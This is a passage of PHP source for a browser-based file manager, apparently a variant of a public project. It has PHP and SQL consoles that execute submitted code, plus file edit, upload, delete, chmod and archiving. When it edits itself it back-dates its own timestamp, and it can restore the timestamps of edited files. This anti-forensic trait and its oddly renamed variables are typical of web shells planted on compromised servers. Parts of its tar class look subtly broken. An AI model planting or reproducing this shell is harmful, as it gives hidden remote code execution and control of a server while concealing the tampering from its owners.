<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

